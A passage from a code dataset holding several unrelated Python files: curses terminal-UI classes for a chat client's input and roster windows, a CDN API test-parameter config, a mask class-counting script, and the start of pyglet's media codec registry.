\\n to the line\n \"\"\"\n self.do_command('\\n')\n\n def get_text(self):\n \"\"\"\n Return the text entered so far\n \"\"\"\n return self.text\n\n def addstr_colored_lite(self, text, y=None, x=None):\n \"\"\"\n Just like addstr_colored, with the single-char attributes\n (\\x0E to \\x19 instead of \\x19 + attr). We do not use any }\n char in this version\n \"\"\"\n if y is not None and x is not None:\n self.move(y, x)\n format_char = find_first_format_char(text)\n while format_char != -1:\n attr_char = self.text_attributes[format_chars.index(text[format_char])]\n self.addstr(text[:format_char])\n self.addstr(attr_char, curses.A_REVERSE)\n text = text[format_char+1:]\n if attr_char == 'o':\n self._win.attrset(0)\n elif attr_char == 'u':\n self._win.attron(curses.A_UNDERLINE)\n elif attr_char == 'b':\n self._win.attron(curses.A_BOLD)\n elif attr_char in string.digits and attr_char != '':\n self._win.attron(to_curses_attr((int(attr_char), -1)))\n format_char = find_first_format_char(text)\n self.addstr(text)\n\n def rewrite_text(self):\n \"\"\"\n Refresh the line onscreen, but first, always adjust the\n view_pos. Also, each FORMAT_CHAR+attr_char count only take\n one screen column (this is done in addstr_colored_lite), we\n have to do some special calculations to find the correct\n length of text to display, and the position of the cursor.\n \"\"\"\n self.adjust_view_pos()\n with g_lock:\n text = self.text.replace('\\n', '|')\n self._win.erase()\n if self.color:\n self._win.attron(to_curses_attr(self.color))\n displayed_text = text[self.view_pos:self.view_pos+self.width-1]\n self._win.attrset(0)\n self.addstr_colored_lite(displayed_text)\n # Fill the rest of the line with the input color\n if self.color:\n (y, x) = self._win.getyx()\n size = self.width-x\n self.addnstr(' '*size, size, to_curses_attr(self.color))\n self.addstr(0, poopt.wcswidth(displayed_text[:self.pos-self.view_pos]), '')\n if self.color:\n self._win.attroff(to_curses_attr(self.color))\n self._refresh()\n\n def adjust_view_pos(self):\n \"\"\"\n Adjust the position of the View, if needed (for example if the\n cursor moved and would now be out of the view, we adapt the\n view_pos so that we can always see our cursor)\n \"\"\"\n if self.pos == 0:\n self.view_pos = 0\n return\n if self.pos < self.view_pos:\n if self.width <= 25:\n self.view_pos = self.pos - self.width\n else:\n self.view_pos = self.pos - 25\n if self.pos >= self.view_pos + self.width - 1:\n self.view_pos = self.pos - self.width + 12\n if self.view_pos < 0:\n self.view_pos = 0\n assert(self.pos > self.view_pos and\n self.pos < self.view_pos + self.width)\n\n def refresh(self):\n log.debug('Refresh: %s',self.__class__.__name__)\n self.rewrite_text()\n\n def clear_text(self):\n self.text = ''\n self.pos = 0\n self.rewrite_text()\n\n def key_enter(self):\n txt = self.get_text()\n self.clear_text()\n return txt\n\nclass HistoryInput(Input):\n \"\"\"\n An input with colors and stuff, plus an history\n ^R allows to search inside the history (as in a shell)\n \"\"\"\n history = list()\n\n def __init__(self):\n Input.__init__(self)\n self.help_message = ''\n self.current_completed = ''\n self.key_func['^R'] = self.toggle_search\n self.search = False\n if config.get('separate_history', 'false') == 'true':\n self.history = list()\n\n def toggle_search(self):\n if self.help_message:\n return\n self.search = not self.search\n self.refresh()\n\n def update_completed(self):\n \"\"\"\n Find a match for the current text\n \"\"\"\n if not self.text:\n return\n for i in self.history:\n if self.text in i:\n self.current_completed = i\n return\n self.current_completed = ''\n\n def history_enter(self):\n \"\"\"\n Enter was pressed, set the text to the\n current completion and disable history\n search\n \"\"\"\n if self.search:\n self.search = False\n if self.current_completed:\n self.text = self.current_completed\n self.current_completed = ''\n self.refresh()\n return True\n self.refresh()\n return False\n\n def key_up(self):\n \"\"\"\n Get the previous line in the history\n \"\"\"\n self.reset_completion()\n if self.histo_pos == -1 and self.get_text():\n if not self.history or self.history[0] != self.get_text():\n # add the message to history, we do not want to lose it\n self.history.insert(0, self.get_text())\n self.histo_pos += 1\n if self.histo_pos < len(self.history) - 1:\n self.histo_pos += 1\n self.text = self.history[self.histo_pos]\n self.key_end()\n\n def key_down(self):\n \"\"\"\n Get the next line in the history\n \"\"\"\n self.reset_completion()\n if self.histo_pos > 0:\n self.histo_pos -= 1\n self.text = self.history[self.histo_pos]\n elif self.histo_pos <= 0 and self.get_text():\n if not self.history or self.history[0] != self.get_text():\n # add the message to history, we do not want to lose it\n self.history.insert(0, self.get_text())\n self.text = ''\n self.histo_pos = -1\n self.key_end()\n\nclass MessageInput(HistoryInput):\n \"\"\"\n The input featuring history and that is being used in\n Conversation, Muc and Private tabs\n Also letting the user enter colors or other text markups\n \"\"\"\n history = list() # The history is common to all MessageInput\n text_attributes = ['b', 'o', 'u', '1', '2', '3', '4', '5', '6', '7']\n\n def __init__(self):\n HistoryInput.__init__(self)\n self.last_completion = None\n self.histo_pos = -1\n self.key_func[\"KEY_UP\"] = self.key_up\n self.key_func[\"M-A\"] = self.key_up\n self.key_func[\"KEY_DOWN\"] = self.key_down\n self.key_func[\"M-B\"] = self.key_down\n self.key_func['^C'] = self.enter_attrib\n\n def enter_attrib(self):\n \"\"\"\n Read one more char (c), add the corresponding char from formats_char to the text string\n \"\"\"\n attr_char = self.core.read_keyboard()[0]\n if attr_char in self.text_attributes:\n char = format_chars[self.text_attributes.index(attr_char)]\n self.do_command(char, False)\n self.rewrite_text()\n\n def key_enter(self):\n if self.history_enter():\n return\n\n txt = self.get_text()\n if len(txt) != 0:\n if not self.history or self.history[0] != txt:\n # add the message to history, but avoid duplicates\n self.history.insert(0, txt)\n self.histo_pos = -1\n self.clear_text()\n return txt\n\nclass CommandInput(HistoryInput):\n \"\"\"\n An input with an help message in the left, with three given callbacks:\n one when when successfully 'execute' the command and when we abort it.\n The last callback is optional and is called on any input key\n This input is used, for example, in the RosterTab when, to replace the\n HelpMessage when a command is started\n The on_input callback\n \"\"\"\n history = list()\n\n def __init__(self, help_message, on_abort, on_success, on_input=None):\n HistoryInput.__init__(self)\n self.on_abort = on_abort\n self.on_success = on_success\n self.on_input = on_input\n self.help_message = help_message\n self.key_func['^M'] = self.success\n self.key_func['^G'] = self.abort\n self.key_func['^C'] = self.abort\n self.key_func[\"KEY_UP\"] = self.key_up\n self.key_func[\"M-A\"] = self.key_up\n self.key_func[\"KEY_DOWN\"] = self.key_down\n self.key_func[\"M-B\"] = self.key_down\n self.histo_pos = -1\n\n def do_command(self, key, refresh=True, raw=False):\n res = Input.do_command(self, key, refresh, raw)\n if self.on_input:\n self.on_input(self.get_text())\n return res\n\n def disable_history(self):\n \"\"\"\n Disable the history (up/down) keys\n \"\"\"\n if 'KEY_UP' in self.key_func:\n del self.key_func['KEY_UP']\n if 'KEY_DOWN' in self.key_func:\n del self.key_func['KEY_DOWN']\n\n @property\n def history_disabled(self):\n return ('KEY_UP' not in self.key_func and 'KEY_DOWN' not in self.key_func)\n\n def success(self):\n \"\"\"\n call the success callback, passing the text as argument\n \"\"\"\n self.on_input = None\n if self.search:\n self.history_enter()\n res = self.on_success(self.get_text())\n return res\n\n def abort(self):\n \"\"\"\n Call the abort callback, passing the text as argument\n \"\"\"\n self.on_input = None\n return self.on_abort(self.get_text())\n\n def on_delete(self):\n \"\"\"\n SERIOUSLY BIG WTF.\n\n I can do\n self.key_func.clear()\n\n but not\n del self.key_func\n because that would raise an AttributeError exception. WTF.\n \"\"\"\n self.on_abort = None\n self.on_success = None\n self.on_input = None\n self.key_func.clear()\n\n def key_enter(self):\n txt = self.get_text()\n if len(txt) != 0:\n if not self.history or self.history[0] != txt:\n # add the message to history, but avoid duplicates\n self.history.insert(0, txt)\n self.histo_pos = -1\n\n\nclass VerticalSeparator(Win):\n \"\"\"\n Just a one-column window, with just a line in it, that is\n refreshed only on resize, but never on refresh, for efficiency\n \"\"\"\n def __init__(self):\n Win.__init__(self)\n\n def rewrite_line(self):\n with g_lock:\n self._win.vline(0, 0, curses.ACS_VLINE, self.height, to_curses_attr(get_theme().COLOR_VERTICAL_SEPARATOR))\n self._refresh()\n\n def refresh(self):\n log.debug('Refresh: %s',self.__class__.__name__)\n self.rewrite_line()\n\nclass RosterWin(Win):\n\n def __init__(self):\n Win.__init__(self)\n self.pos = 0 # cursor position in the contact list\n self.start_pos = 1 # position of the start of the display\n self.selected_row = None\n self.roster_cache = []\n\n @property\n def roster_len(self):\n return len(self.roster_cache)\n\n def move_cursor_down(self, number=1):\n \"\"\"\n Return True if we scrolled, False otherwise\n \"\"\"\n pos = self.pos\n if self.pos < self.roster_len-number:\n self.pos += number\n else:\n self.pos = self.roster_len - 1\n if self.pos >= self.start_pos-1 + self.height-1:\n if number == 1:\n self.scroll_down(8)\n else:\n self.scroll_down(self.pos-self.start_pos - self.height // 2)\n self.update_pos()\n return pos != self.pos\n\n def move_cursor_up(self, number=1):\n \"\"\"\n Return True if we scrolled, False otherwise\n \"\"\"\n pos = self.pos\n if self.pos-number >= 0:\n self.pos -= number\n else:\n self.pos = 0\n if self.pos <= self.start_pos:\n if number == 1:\n self.scroll_up(8)\n else:\n self.scroll_up(self.start_pos-self.pos + self.height // 2)\n self.update_pos()\n return pos != self.pos\n\n def update_pos(self):\n if len(self.roster_cache) > self.pos and self.pos >= 0:\n self.selected_row = self.roster_cache[self.pos]\n elif self.roster_cache:\n self.selected_row = self.roster_cache[-1]\n\n def scroll_down(self, number=8):\n pos = self.start_pos\n if self.start_pos + number <= self.roster_len-1:\n self.start_pos += number\n else:\n self.start_pos = self.roster_len-1\n return self.start_pos != pos\n\n def scroll_up(self, number=8):\n pos = self.start_pos\n if self.start_pos - number > 0:\n self.start_pos -= number\n else:\n self.start_pos = 1\n return self.start_pos != pos\n\n def build_roster_cache(self, roster):\n \"\"\"\n Regenerates the roster cache if needed\n \"\"\"\n with g_lock:\n if roster.needs_rebuild:\n log.debug('The roster has changed, rebuilding the cache…')\n # This is a search\n if roster.contact_filter:\n self.roster_cache = []\n sort = config.get('roster_sort', 'jid:show') or 'jid:show'\n for contact in roster.get_contacts_sorted_filtered(sort):\n self.roster_cache.append(contact)\n else:\n show_offline = config.get('roster_show_offline', 'false') == 'true' or roster.contact_filter\n sort = config.get('roster_sort', 'jid:show') or 'jid:show'\n group_sort = config.get('roster_group_sort', 'name') or 'name'\n self.roster_cache = []\n # build the cache\n for group in roster.get_groups(group_sort):\n contacts_filtered = group.get_contacts(roster.contact_filter)\n if (not show_offline and group.get_nb_connected_contacts() == 0) or not contacts_filtered:\n continue # Ignore empty groups\n self.roster_cache.append(group)\n if group.folded:\n continue # ignore folded groups\n for contact in group.get_contacts(roster.contact_filter, sort):\n if not show_offline and len(contact) == 0:\n continue # ignore offline contacts\n self.roster_cache.append(contact)\n if not contact.folded(group.name):\n for resource in contact.get_resources():\n self.roster_cache.append(resource)\n roster.last_built = datetime.now()\n if self.selected_row in self.roster_cache:\n if self.pos < self.roster_len and self.roster_cache[self.pos] != self.selected_row:\n self.pos = self.roster_cache.index(self.selected_row)\n\n def refresh(self, roster):\n \"\"\"\n We display a number of lines from the roster cache\n (and rebuild it if needed)\n \"\"\"\n log.debug('Refresh: %s',self.__class__.__name__)\n self.build_roster_cache(roster)\n with g_lock:\n # make sure we are within bounds\n self.move_cursor_up((self.roster_len + self.pos) if self.pos >= self.roster_len else 0)\n if not self.roster_cache:\n self.selected_row = None\n self._win.erase()\n self._win.move(0, 0)\n self.draw_roster_information(roster)\n y = 1\n group = \"none\"\n # scroll down if needed\n if self.start_pos+self.height <= self.pos+2:\n self.scroll_down(self.pos - self.start_pos - self.height + (self.height//2))\n # draw the roster from the cache\n roster_view = self.roster_cache[self.start_pos-1:self.start_pos+self.height]\n\n for item in roster_view:\n draw_selected = False\n if y -2 + self.start_pos == self.pos:\n draw_selected = True\n self.selected_row = item\n\n if isinstance(item, RosterGroup):\n self.draw_group(y, item, draw_selected)\n group = item.name\n elif isinstance(item, Contact):\n self.draw_contact_line(y, item, draw_selected, group)\n elif isinstance(item, Resource):\n self.draw_resource_line(y, item, draw_selected)\n\n y += 1\n\n if self.start_pos > 1:\n self.draw_plus(1)\n if self.start_pos + self.height-2 < self.roster_len:\n self.draw_plus(self.height-1)\n self._refresh()\n\n\n def draw_plus(self, y):\n \"\"\"\n Draw the indicator that shows that\n the list is longer than what is displayed\n \"\"\"\n self.addstr(y, self.width-5, '++++', to_curses_attr(get_theme().COLOR_MORE_INDICATOR))\n\n def draw_roster_information(self, roster):\n \"\"\"\n The header at the top\n \"\"\"\n self.addstr('Roster: %s/%s contacts' % (\n roster.get_nb_connected_contacts(),\n len(roster))\n ,to_curses_attr(get_theme().COLOR_INFORMATION_BAR))\n self.finish_line(get_theme().COLOR_INFORMATION_BAR)\n\n def draw_group(self, y, group, colored):\n \"\"\"\n Draw a groupname on a line\n \"\"\"\n if colored:\n self._win.attron(to_curses_attr(get_theme().COLOR_SELECTED_ROW))\n if group.folded:\n self.addstr(y, 0, '[+] ')\n else:\n self.addstr(y, 0, '[-] ')\n contacts = \" (%s/%s)\" % (group.get_nb_connected_contacts(), len(group))\n self.addstr(y, 4, self.truncate_name(group.name, len(contacts)+4) + contacts)\n if colored:\n self._win.attroff(to_curses_attr(get_theme().COLOR_SELECTED_ROW))\n self.finish_line()\n\n def truncate_name(self, name, added):\n if len(name) + added <= self.width:\n return name\n return name[:self.width - added - 1] + '…'\n\n def draw_contact_line(self, y, contact, colored, group):\n \"\"\"\n Draw on a line all informations about one contact.\n This is basically the highest priority resource's informations\n Use 'color' to draw the jid/display_name to show what is\n the currently selected contact in the list\n \"\"\"\n\n theme = get_theme()\n resource = contact.get_highest_priority_resource()\n if not resource:\n # There's no online resource\n presence = 'unavailable'\n nb = ''\n else:\n presence = resource.presence\n nb = ' (%s)' % len(contact)\n color = theme.color_show(presence)\n added = 2 + len(theme.CHAR_STATUS) + len(nb)\n\n self.addstr(y, 0, ' ')\n self.addstr(theme.CHAR_STATUS, to_curses_attr(color))\n\n show_roster_sub = config.getl('show_roster_subscriptions', '')\n\n self.addstr(' ')\n if resource:\n self.addstr('[+] ' if contact.folded(group) else '[-] ')\n added += 4\n if contact.ask:\n added += len(get_theme().CHAR_ROSTER_ASKED)\n if config.get('show_s2s_errors', 'true').lower() == 'true' and contact.error:\n added += len(get_theme().CHAR_ROSTER_ERROR)\n if contact.tune:\n added += len(get_theme().CHAR_ROSTER_TUNE)\n if contact.mood:\n added += len(get_theme().CHAR_ROSTER_MOOD)\n if contact.activity:\n added += len(get_theme().CHAR_ROSTER_ACTIVITY)\n if contact.gaming:\n added += len(get_theme().CHAR_ROSTER_GAMING)\n if show_roster_sub in ('all', 'incomplete', 'to', 'from', 'both', 'none'):\n added += len(theme.char_subscription(contact.subscription, keep=show_roster_sub))\n\n if config.getl('show_roster_jids', 'true') == 'false' and contact.name:\n display_name = '%s' % contact.name\n elif contact.name and contact.name != contact.bare_jid:\n display_name = '%s (%s)' % (contact.name, contact.bare_jid)\n else:\n display_name = '%s' % (contact.bare_jid,)\n\n display_name = self.truncate_name(display_name, added) + nb\n\n if colored:\n self.addstr(display_name, to_curses_attr(get_theme().COLOR_SELECTED_ROW))\n else:\n self.addstr(display_name)\n\n if show_roster_sub in ('all', 'incomplete', 'to', 'from', 'both', 'none'):\n self.addstr(theme.char_subscription(contact.subscription, keep=show_roster_sub), to_curses_attr(theme.COLOR_ROSTER_SUBSCRIPTION))\n if contact.ask:\n self.addstr(get_theme().CHAR_ROSTER_ASKED, to_curses_attr(get_theme().COLOR_IMPORTANT_TEXT))\n if config.get('show_s2s_errors', 'true').lower() == 'true' and contact.error:\n self.addstr(get_theme().CHAR_ROSTER_ERROR, to_curses_attr(get_theme().COLOR_ROSTER_ERROR))\n if contact.tune:\n self.addstr(get_theme().CHAR_ROSTER_TUNE, to_curses_attr(get_theme().COLOR_ROSTER_TUNE))\n if contact.activity:\n self.addstr(get_theme().CHAR_ROSTER_ACTIVITY, to_curses_attr(get_theme().COLOR_ROSTER_ACTIVITY))\n if contact.mood:\n self.addstr(get_theme().CHAR_ROSTER_MOOD, to_curses_attr(get_theme().COLOR_ROSTER_MOOD))\n if contact.gaming:\n self.addstr(get_theme().CHAR_ROSTER_GAMING, to_curses_attr(get_theme().COLOR_ROSTER_GAMING))\n self.finish_line()\n\n def draw_resource_line(self, y, resource, colored):\n \"\"\"\n Draw a specific resource line\n \"\"\"\n color = get_theme().color_show(resource.presence)\n self.addstr(y, 4, get_theme().CHAR_STATUS, to_curses_attr(color))\n if colored:\n self.addstr(y, 6, self.truncate_name(str(resource.jid), 6), to_curses_attr(get_theme().COLOR_SELECTED_ROW))\n else:\n self.addstr(y, 6, self.truncate_name(str(resource.jid), 6))\n self.finish_line()\n\n def get_selected_row(self):\n if self.pos >= len(self.roster_cache):\n return self.selected_row\n if len(self.roster_cache) > 0:\n self.selected_row = self.roster_cache[self.pos]\n return self.roster_cache[self.pos]\n return None\n\nclass ContactInfoWin(Win):\n def __init__(self):\n Win.__init__(self)\n\n def draw_contact_info(self, contact):\n \"\"\"\n draw the contact information\n \"\"\"\n resource = contact.get_highest_priority_resource()\n if contact:\n jid = contact.bare_jid\n elif resource:\n jid = resource.jid\n else:\n jid = 'example@example.com' # should never happen\n if resource:\n presence = resource.presence\n else:\n presence = 'unavailable'\n i = 0\n self.addstr(0, 0, '%s (%s)'%(jid, presence,), to_curses_attr(get_theme().COLOR_INFORMATION_BAR))\n self.finish_line(get_theme().COLOR_INFORMATION_BAR)\n i += 1\n self.addstr(i, 0, 'Subscription: %s' % (contact.subscription,))\n self.finish_line()\n i += 1\n if contact.ask:\n if contact.ask == 'asked':\n self.addstr(i, 0, 'Ask: %s' % (contact.ask,), to_curses_attr(get_theme().COLOR_IMPORTANT_TEXT))\n else:\n self.addstr(i, 0, 'Ask: %s' % (contact.ask,))\n self.finish_line()\n i += 1\n if resource:\n self.addstr(i, 0, 'Status: %s' % (resource.status))\n self.finish_line()\n i += 1\n\n if contact.error:\n self.addstr(i, 0, 'Error: %s' % contact.error, to_curses_attr(get_theme().COLOR_ROSTER_ERROR))\n self.finish_line()\n i += 1\n\n if contact.tune:\n self.addstr(i, 0, 'Tune: %s' % common.format_tune_string(contact.tune), to_curses_attr(get_theme().COLOR_NORMAL_TEXT))\n self.finish_line()\n i += 1\n\n if contact.mood:\n self.addstr(i, 0, 'Mood: %s' % contact.mood, to_curses_attr(get_theme().COLOR_NORMAL_TEXT))\n self.finish_line()\n i += 1\n\n if contact.activity:\n self.addstr(i, 0, 'Activity: %s' % contact.activity, to_curses_attr(get_theme().COLOR_NORMAL_TEXT))\n self.finish_line()\n i += 1\n\n if contact.gaming:\n self.addstr(i, 0, 'Game: %s' % common.format_gaming_string(contact.gaming), to_curses_attr(get_theme().COLOR_NORMAL_TEXT))\n self.finish_line()\n i += 1\n\n def draw_group_info(self, group):\n \"\"\"\n draw the group information\n \"\"\"\n self.addstr(0, 0, group.name, to_curses_attr(get_theme().COLOR_INFORMATION_BAR))\n self.finish_line(get_theme().COLOR_INFORMATION_BAR)\n\n def refresh(self, selected_row):\n log.debug('Refresh: %s',self.__class__.__name__)\n with g_lock:\n self._win.erase()\n if isinstance(selected_row, RosterGroup):\n self.draw_group_info(selected_row)\n elif isinstance(selected_row, Contact):\n self.draw_contact_info(selected_row)\n # elif isinstance(selected_row, Resource):\n # self.draw_contact_info(None, selected_row)\n self._refresh()\n\nclass ListWin(Win):\n \"\"\"\n A list (with no depth, so not for the roster) that can be\n scrolled up and down, with one selected line at a time\n \"\"\"\n def __init__(self, columns, with_headers=True):\n Win.__init__(self)\n self._columns = columns # a tuple with the name of the columns\n self._columns_sizes = {} # a dict {'column_name': size}\n self.sorted_by = (None, None) # for example: ('name', '↑')\n self.lines = [] # a list of dicts\n self._selected_row = 0\n self._starting_pos = 0 # The column number from which we start the refresh\n\n def empty(self):\n \"\"\"\n emtpy the list and reset some important values as well\n \"\"\"\n self.lines = []\n self._selected_row = 0\n self._starting_pos = 0\n\n def resize_columns(self, dic):\n \"\"\"\n Resize the width of the columns\n \"\"\"\n self._columns_sizes = dic\n\n def sort_by_column(self, col_name, asc=True):\n \"\"\"\n Sort the list by the given column, ascendant or descendant\n \"\"\"\n if not col_name:\n return\n elif asc:\n self.lines.sort(key=lambda x: x[col_name])\n else:\n self.lines.sort(key=lambda x: x[col_name],reverse=True)\n self.refresh()\n curses.doupdate()\n\n def add_lines(self, lines):\n \"\"\"\n Append some lines at the end of the list\n \"\"\"\n if not lines:\n return\n self.lines += lines\n\n def get_selected_row(self):\n \"\"\"\n Return the tuple representing the selected row\n \"\"\"\n if self._selected_row is not None and self.lines:\n return self.lines[self._selected_row]\n return None\n\n def refresh(self):\n log.debug('Refresh: %s', self.__class__.__name__)\n with g_lock:\n self._win.erase()\n lines = self.lines[self._starting_pos:self._starting_pos+self.height]\n for y, line in enumerate(lines):\n x = 0\n for col in self._columns:\n try:\n txt = line[col] or ''\n except (KeyError):\n txt = ''\n size = self._columns_sizes[col]\n txt += ' ' * (size-len(txt))\n if not txt:\n continue\n if line is self.lines[self._selected_row]:\n self.addstr(y, x, txt[:size], to_curses_attr(get_theme().COLOR_INFORMATION_BAR))\n else:\n self.addstr(y, x, txt[:size])\n x += size\n self._refresh()\n\n def move_cursor_down(self):\n \"\"\"\n Move the cursor Down\n \"\"\"\n if not self.lines:\n return\n if self._selected_row < len(self.lines) - 1:\n self._selected_row += 1\n while self._selected_row >= self._starting_pos + self.height:\n self._starting_pos += self.height // 2\n if self._starting_pos < 0:\n self._starting_pos = 0\n return True\n\n def move_cursor_up(self):\n \"\"\"\n Move the cursor Up\n \"\"\"\n if not self.lines:\n return\n if self._selected_row > 0:\n self._selected_row -= 1\n while self._selected_row < self._starting_pos:\n self._starting_pos -= self.height // 2\n return True\n\n def scroll_down(self):\n if not self.lines:\n return\n self._selected_row += self.height\n if self._selected_row > len(self.lines) - 1:\n self._selected_row = len(self.lines) -1\n while self._selected_row >= self._starting_pos + self.height:\n self._starting_pos += self.height // 2\n if self._starting_pos < 0:\n self._starting_pos = 0\n return True\n\n def scroll_up(self):\n if not self.lines:\n return\n self._selected_row -= self.height + 1\n if self._selected_row < 0:\n self._selected_row = 0\n while self._selected_row < self._starting_pos:\n self._starting_pos -= self.height // 2\n return True\n\nclass ColumnHeaderWin(Win):\n \"\"\"\n A class displaying the column's names\n \"\"\"\n def __init__(self, columns):\n Win.__init__(self)\n self._columns = columns\n self._columns_sizes = {}\n self._column_sel = ''\n self._column_order = ''\n self._column_order_asc = False\n\n def resize_columns(self, dic):\n self._columns_sizes = dic\n\n def get_columns(self):\n return self._columns\n\n def refresh(self):\n log.debug('Refresh: %s',self.__class__.__name__)\n with g_lock:\n self._win.erase()\n x = 0\n for col in self._columns:\n txt = col\n if col in self._column_order:\n if self._column_order_asc:\n txt += get_theme().CHAR_COLUMN_ASC\n else:\n txt += get_theme().CHAR_COLUMN_DESC\n #⇓⇑↑↓⇧⇩▲▼\n size = self._columns_sizes[col]\n txt += ' ' * (size-len(txt))\n if col in self._column_sel:\n self.addstr(0, x, txt, to_curses_attr(get_theme().COLOR_COLUMN_HEADER_SEL))\n else:\n self.addstr(0, x, txt, to_curses_attr(get_theme().COLOR_COLUMN_HEADER))\n x += size\n self._refresh()\n\n def sel_column(self,dic):\n self._column_sel = dic\n\n def get_sel_column(self):\n return self._column_sel\n\n def set_order(self,order):\n self._column_order = self._column_sel\n self._column_order_asc = order\n\n def get_order(self):\n if self._column_sel == self._column_order:\n return self._column_order_asc\n else:\n return False\n\n def sel_column_left(self):\n if self._column_sel in self._columns:\n index = self._columns.index(self._column_sel)\n if index > 1:\n index = index -1\n else:\n index = 0\n else:\n index = 0\n self._column_sel = self._columns[index]\n self.refresh()\n\n def sel_column_right(self):\n if self._column_sel in self._columns:\n index = self._columns.index(self._column_sel)\n if index < len(self._columns)-2:\n index = index +1\n else:\n index = len(self._columns) -1\n else:\n index = len(self._columns) - 1\n self._column_sel = self._columns[index]\n self.refresh()\n\n\nclass SimpleTextWin(Win):\n def __init__(self, text):\n Win.__init__(self)\n self._text = text\n self.built_lines = []\n\n def rebuild_text(self):\n \"\"\"\n Transform the text in lines than can then be\n displayed without any calculation or anything\n at refresh() time\n It is basically called on each resize\n \"\"\"\n self.built_lines = []\n for line in self._text.split('\\n'):\n while len(line) >= self.width:\n limit = line[:self.width].rfind(' ')\n if limit <= 0:\n limit = self.width\n self.built_lines.append(line[:limit])\n line = line[limit:]\n self.built_lines.append(line)\n\n def refresh(self):\n log.debug('Refresh: %s',self.__class__.__name__)\n with g_lock:\n self._win.erase()\n for y, line in enumerate(self.built_lines):\n self.addstr_colored(line, y, 0)\n self._refresh()\n","sub_path":"src/windows.py","file_name":"windows.py","file_ext":"py","file_size_in_byte":89579,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"520170179","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\nparas conf for GetHitRateData\n\"\"\"\n\nimport sys\nimport os\nsys.path.append(os.path.abspath(os.path.dirname(os.path.abspath(__file__))+\"/../../\"))\nfrom tool import utils\n\n#required paras\nGetHitRateData_required_paras = [\n \"StartTime\",\n \"EndTime\",\n \"CdnType\",\n \"ResultType\",\n ]\n\n#paras values\nENUM_CDN_TYPE = ['download', 'live']\nENUM_RESULT_TYPE = [0, 1]\nENUM_GRANULARITY = [5, 10, 20, 60, 240, 480, 1440]\nENUM_DATA_TYPE = ['flowhitrate', 'reqhitrate']\nENUM_NO_DEFINE = [\"no define\"]\n\n#normal sample\nGetHitRateData_paras_sample = {\n \"StartTime\": \"2016-08-31T10:00+0800\",\n \"EndTime\": \"2016-08-31T14:00+0800\",\n \"CdnType\": \"download\",\n \"DomainId\": \"no define\",\n \"ResultType\": \"1\",\n \"Granularity\": 5,\n \"DataType\": \"flowhitrate,reqhitrate\",\n }\n\n#normal paras combination \nGetHitRateData_paras_normal = {\n \"StartTime\": [\"2016-08-31T10:00+0800\"],\n \"EndTime\": [\"2016-08-31T14:00+0800\"],\n \"CdnType\": utils.get_combinations(ENUM_CDN_TYPE),\n \"DomainId\": utils.get_combinations(ENUM_NO_DEFINE, 1, False),\n \"ResultType\": utils.get_combinations(ENUM_RESULT_TYPE),\n \"Granularity\": utils.get_combinations(ENUM_GRANULARITY, 1, False),\n \"DataType\": utils.get_combinations(ENUM_DATA_TYPE, len(ENUM_DATA_TYPE), False),\n }\n\n#abnormal paras combination \nGetHitRateData_paras_abnormal = {\n \"StartTime\": \"2016-08-32T21:14+0800\",\n \"EndTime\": \"2016-07-32T21:16+0800\",\n \"CdnType\": 'download,live',\n \"DomainId\": 'qa',\n \"ResultType\": 3,\n \"Granularity\": 1,\n \"DataType\": 'qa',\n }\n\n","sub_path":"conf/req_parameters/GetHitRateData_paras.py","file_name":"GetHitRateData_paras.py","file_ext":"py","file_size_in_byte":1701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"577875910","text":"import os\nimport sys\nimport imp\nimport csv\nimport numpy as np\nfrom PIL import Image\n\nconfig_path = '/data/module5/Datasets/segmentation/'+sys.argv[1]+'/config.py'\npath = '/data/module5/Datasets/segmentation/'+sys.argv[1]+'/'+sys.argv[2]+'/masks/'\ndc=imp.load_source('config', config_path)\nprint(sys.argv[1]+'/'+sys.argv[2])\nprint('-------------------------------')\nclassCount = {}\nclassSize = {}\nfiles = os.listdir(path)\nfor file in files:\n if '.png' in file:\n im_frame = Image.open(path+file)\n np_frame = np.array(im_frame.getdata())\n current_count = np.bincount(np_frame)\n for i in dc.classes.keys():\n if len(current_count) list of matching MediaDecoders\n_encoder_extensions = {} # Map str -> list of matching MediaEncoders\n\n\nclass MediaDecoder(object):\n def get_file_extensions(self):\n \"\"\"Return a list of accepted file extensions, e.g. ['.wav', '.ogg']\n Lower-case only.\n \"\"\"\n return []\n\n def decode(self, file, filename, streaming=True):\n \"\"\"Read the given file object and return an instance of `Source`\n or `StreamingSource`. \n Throws MediaDecodeException if there is an error. `filename`\n can be a file type hint.\n \"\"\"\n raise NotImplementedError()\n\n\nclass MediaEncoder(object):\n def get_file_extensions(self):\n \"\"\"Return a list of accepted file extensions, e.g. ['.wav', '.ogg']\n Lower-case only.\n \"\"\"\n return []\n\n def encode(self, media, file, filename):\n \"\"\"Encode the given source to the given file. `filename`\n provides a hint to the file format desired. options are\n encoder-specific, and unknown options should be ignored or\n issue warnings.\n \"\"\"\n raise NotImplementedError()\n\n\ndef get_decoders(filename=None):\n \"\"\"Get an ordered list of decoders to attempt. filename can be used\n as a hint for the filetype.\n \"\"\"\n decoders = []\n if filename:\n extension = os.path.splitext(filename)[1].lower()\n decoders += _decoder_extensions.get(extension, [])\n decoders += [e for e in _decoders if e not in decoders]\n return decoders\n\n\ndef get_encoders(filename=None):\n \"\"\"Get an ordered list of encoders to attempt. filename can be used\n as a hint for the filetype.\n \"\"\"\n encoders = []\n if filename:\n extension = os.path.splitext(filename)[1].lower()\n encoders += _encoder_extensions.get(extension, [])\n encoders += [e for e in _encoders if e not in encoders]\n return encoders\n\n\ndef add_decoders(module):\n \"\"\"Add a decoder module. The module must define `get_decoders`. Once\n added, the appropriate decoders defined in the codec will be returned by\n pyglet.media.codecs.get_decoders.\n \"\"\"\n for decoder in module.get_decoders():\n _decoders.append(decoder)\n for extension in decoder.get_file_extensions():\n if extension not in _decoder_extensions:\n _decoder_extensions[extension] = []\n _decoder_extensions[extension].append(decoder)\n\n\ndef add_encoders(module):\n \"\"\"Add an encoder module. The module must define `get_encoders`. Once\n added, the appropriate encoders defined in the codec will be returned by\n pyglet.media.codecs.get_encoders.\n \"\"\"\n for encoder in module.get_encoders():\n _encoders.append(encoder)\n for extension in encoder.get_file_extensions():\n if extension not in _encoder_extensions:\n _encoder_extensions[extension] = []\n _encoder_extensions[extension].append(encoder)\n\n\ndef add_default_media_codecs():\n # Add all bundled codecs. These should be listed in order of\n # preference. This is called automatically by pyglet.media.\n\n try:\n from . import wave\n 